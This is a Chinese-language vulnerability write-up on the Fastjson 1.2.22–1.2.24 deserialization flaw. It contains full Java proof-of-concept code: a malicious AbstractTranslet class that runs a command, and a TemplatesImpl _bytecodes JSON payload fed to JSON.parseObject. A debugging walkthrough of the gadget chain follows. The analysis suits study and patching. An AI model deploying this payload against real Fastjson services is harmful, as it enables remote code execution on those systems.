Fastjson 1.2.22-24 反序列化漏洞分析
0x00 废话
balabala
开始
0x01 简单介绍
介绍:FastJson是一款由阿里开发的JSON库
影响版本:1.2.22-24
官方通告:https://github.com/alibaba/fastjson/wiki/security_update_20170315
补丁:https://github.com/alibaba/fastjson/commit/d075721cf396d5cb70e24c824b901e3a9a5b342b
本地环境:
win10
idea64 2018.2.5
jdk 1.8
fastjson 1.22
FastJson的简单使用
先通过一个简单的demo来熟悉一下FastJson的基本操作。首先创建一个Student类,Student.java:
package ka1n4t.test;
public class Student {
public String name;
private int age;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
}
Students有一个公有属性name和一个私有属性age。下面使用一个测试类,将json字符串反序列化成Student对象,learnFJ.java:
package ka1n4t.test;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.JSONObject;
public class learnFJ {
public static void main(String args[]) {
String text = "{\"@type\":\"ka1n4t.test.Student\",\"name\":\"ZhangSan\",\"age\":123}";
Student obj1 = JSON.parseObject(text, Student.class, Feature.SupportNonPublicField);
System.out.println(obj1.getName());
}
}
结果:

0x02 原理分析
分析POC
先看一下用于反序列化的恶意类evilClass1.java:
package ka1n4t.poc;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class evilClass1 extends AbstractTranslet/*ka1n4t*/ {
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
}
public evilClass1() throws IOException {
Runtime.getRuntime().exec("calc");
}
public static void main(String[] args) throws IOException {
evilClass1 helloworld = new evilClass1();
}
}
其中的构造方法是用exec弹个计算器。看下poc,vulApp1.java:
package ka1n4t.poc;
import org.apache.commons.io.IOUtils;
import org.apache.commons.codec.binary.Base64;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
public class vulApp1 {
public static String readClass(String cls){
ByteArrayOutputStream bos = new ByteArrayOutputStream();
try {
IOUtils.copy(new FileInputStream(new File(cls)), bos);
} catch (IOException e) {
e.printStackTrace();
}
String result = Base64.encodeBase64String(bos.toByteArray());
return result;
}
public static void bad_method() {
ParserConfig config = new ParserConfig();
final String fileSeparator = System.getProperty("file.separator");
String evil_path = "D:\\Java-App\\fastjson-1.2.22\\target\\classes\\ka1n4t\\poc\\evilClass1.class";
String evil_code = readClass(evil_path);
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text1 = "{\"@type\":\"" + NASTY_CLASS +
"\",\"_bytecodes\":[\""+evil_code+"\"]," +
"'_name':'a.b'," +
"'_tfactory':{ }," +
"\"_outputProperties\":{ }}\n";
System.out.println(text1);
Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
}
public static void main(String args[]) {
bad_method();
}
}
核心部分:
String text1 = "{\"@type\":\"" + NASTY_CLASS +
"\",\"_bytecodes\":[\""+evil_code+"\"]," +
"'_name':'a.b'," +
"'_tfactory':{ }," +
"\"_outputProperties\":{ }}\n";
Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
_bytecodes是经过base64编码的evilClass1的字节码文件,NASTY_CLASS是TemplatesImpl类。总结一下这个payload,利用JSON.parseObject反序列化TemplatesImpl类,其中_bytecodes属性是经过base64编码的恶意类字节码文件。
调试分析
下面来分析一下反序列化TemplatesImpl的调用链,首先经过java的反射机制,到达TemplatesImpl类,调用其getOutputProperties()方法:


跟进newTransformer()方法,这个方法是用于创建一个Transformer实例。然后到达getTransletInstance()方法:

getTransletInstance()方法用于创建一个translet实例,返回这个translet给newTransformer(),然后被包裹成Transformer对象。跟进一下这个方法,发现其调用了defineTransletClasses()用来加载_bytecodes中的类,接着又调用了_class[_transletIndex].newInstance()将defineTransletClasses()返回的类进行实例化:

先跟进一下defineTransletClasses方法:

可以看到,使用了loader.defineClass()方法用于加载_bytecodes的内容,并将返回的类赋值给_class[i](这里的i是0)。loader是TemplatesImpl自定义的类,跟进一下:

可以看到TransletClassLoader继承了Java类加载器—ClassLoader类,跟进其defineClass方法,发现直接调用了父类ClassLoader中的方法,所以就不再跟进了。
回到defineTransletClasses方法,其间接调用ClassLoader加载_bytecodes中的内容之后,将加载出来的类赋值给_class[0],然后结束,回到getTransletInstance方法,再看一下图:

可以看到,455行直接使用了_class[0].newInstance()创建实例,创建的过程中调用了evilClass1构造方法,然后触发了payload:

0x03 复现过程
从github上直接pull下poc:https://github.com/shengqi158/fastjson-remote-code-execute-poc。使用idea打开工程,编译test.java:

然后会在target/classes/person下生成test.class文件。用同样的方法编译Poc.java。

配置运行方式


运行Poc:


0x04 参考文章
1.廖新喜 fastjson 远程反序列化poc的构造和分析
2.Freebuf Fastjson 1.2.24反序列化漏洞分析
Fastjson 1.2.22-24 反序列化漏洞分析的更多相关文章
- Fastjson反序列化漏洞分析 1.2.22-1.2.24
Fastjson反序列化漏洞分析 1.2.22-1.2.24 Fastjson是Alibaba开发的Java语言编写的高性能JSON库,用于将数据在JSON和Java Object之间互相转换,提供两 ...
- Java安全之Fastjson反序列化漏洞分析
Java安全之Fastjson反序列化漏洞分析 首发:先知论坛 0x00 前言 在前面的RMI和JNDI注入学习里面为本次的Fastjson打了一个比较好的基础.利于后面的漏洞分析. 0x01 Fas ...
- Fastjson 1.2.22-24 反序列化漏洞分析(2)
Fastjson 1.2.22-24 反序列化漏洞分析(2) 1.环境搭建 我们以ubuntu作为被攻击的服务器,本机电脑作为攻击者 本机地址:192.168.202.1 ubuntu地址:192.1 ...
- Fastjson 1.2.22-24 反序列化漏洞分析(1)
Fastjson 1.2.22-24 反序列化漏洞分析(1) 前言 FastJson是alibaba的一款开源JSON解析库,可用于将Java对象转换为其JSON表示形式,也可以用于将JSON字符串转 ...
- Shiro 550反序列化漏洞分析
Shiro 550反序列化漏洞分析 一.漏洞简介 影响版本:Apache Shiro < 1.2.4 特征判断:返回包中包含rememberMe=deleteMe字段. Apache Shiro ...
- Java反序列化漏洞分析
相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...
- ref:Java安全之反序列化漏洞分析(简单-朴实)
ref:https://mp.weixin.qq.com/s?__biz=MzIzMzgxOTQ5NA==&mid=2247484200&idx=1&sn=8f3201f44e ...
- Java安全之Shiro 550反序列化漏洞分析
Java安全之Shiro 550反序列化漏洞分析 首发自安全客:Java安全之Shiro 550反序列化漏洞分析 0x00 前言 在近些时间基本都能在一些渗透或者是攻防演练中看到Shiro的身影,也是 ...
- Java安全之Cas反序列化漏洞分析
Java安全之Cas反序列化漏洞分析 0x00 前言 某次项目中遇到Cas,以前没接触过,借此机会学习一波. 0x01 Cas 简介 CAS 是 Yale 大学发起的一个开源项目,旨在为 Web 应用 ...
随机推荐
- Java c# 跨语言Json反序列化首字母大小写问题
C#标准是首字母大写,Java规范是首字母小写,在序列化成Json之后,反序列化会出现反序列化失败的问题.. 从C#反序列化成JavaBean的时候通过如下注解可以直接解决该问题 @JsonNamin ...
- Python人脸识别最佳教材典范,40行代码搭建人脸识别系统!
Face Id是一款高端的人脸解锁软件,官方称:"在一百万张脸中识别出你的脸."百度.谷歌.腾讯等各大企业都花费数亿来鞭策人工智能的崛起,而实际的人脸识别技术是否有那么神奇? 绿帽 ...
- ArcCore重构-Platform_Types.h实现辨析
AUTOSAR定义了一系列PlatformTypes,如uint8/uint16/uint32等等基本类型. It contains all platform dependent types and ...
- Spring MVC 的 XML 配置方式
索引: 开源Spring解决方案--lm.solution 参看代码 GitHub: solution/pom.xml solution/webapi/pom.xml solution/mapper/ ...
- C语言下double转char*或者std::string,可以精确转换不含多余的0
char* GetDoubleStr(double value) { char buf[32]={0};//长度可以自定义 sprintf(buf,"%.8f",value);// ...
- python_汉塔诺
'''据说古代有一个梵塔,塔内有三个底座A.B.C,A座上有64个盘子,盘子大小不等,大的在下,小的在上.有一个和尚想把这64个盘子从A座移到C座,但每次只能允许移动一个盘子,在移动盘子的过程中可以利 ...
- 原生js实现canvas气泡冒泡效果
说明: 本文章主要分为ES5和ES6两个版本 ES5版本是早期版本,后面用ES6重写优化的,建议使用ES6版本. 1, 原生js实现canvas气泡冒泡效果的插件,api丰富,使用简单2, 只需引入J ...
- PAT1127:ZigZagging on a Tree
1127. ZigZagging on a Tree (30) 时间限制 400 ms 内存限制 65536 kB 代码长度限制 16000 B 判题程序 Standard 作者 CHEN, Yue ...
- EasyUI集成Kindeditor使用
在实际的项目中,我们需要在项目中集成富文本编辑器,而kindeditor作为一款优良的编辑器,在项目中或多或少都会用到! 实际效果图 使用方法: 1.首先下载Kindeditor编辑器,我这里 ...
- 并发库应用之十 & 多线程数据交换Exchanger应用
申明:用大白话来说就是用于实现两个人之间的数据交换,每个人在完成一定的事务后想与对方交换数据,第一个先拿出数据的人会一直等待第二个人,直到第二个人拿着数据到来时,才能彼此交换数据. java.util ...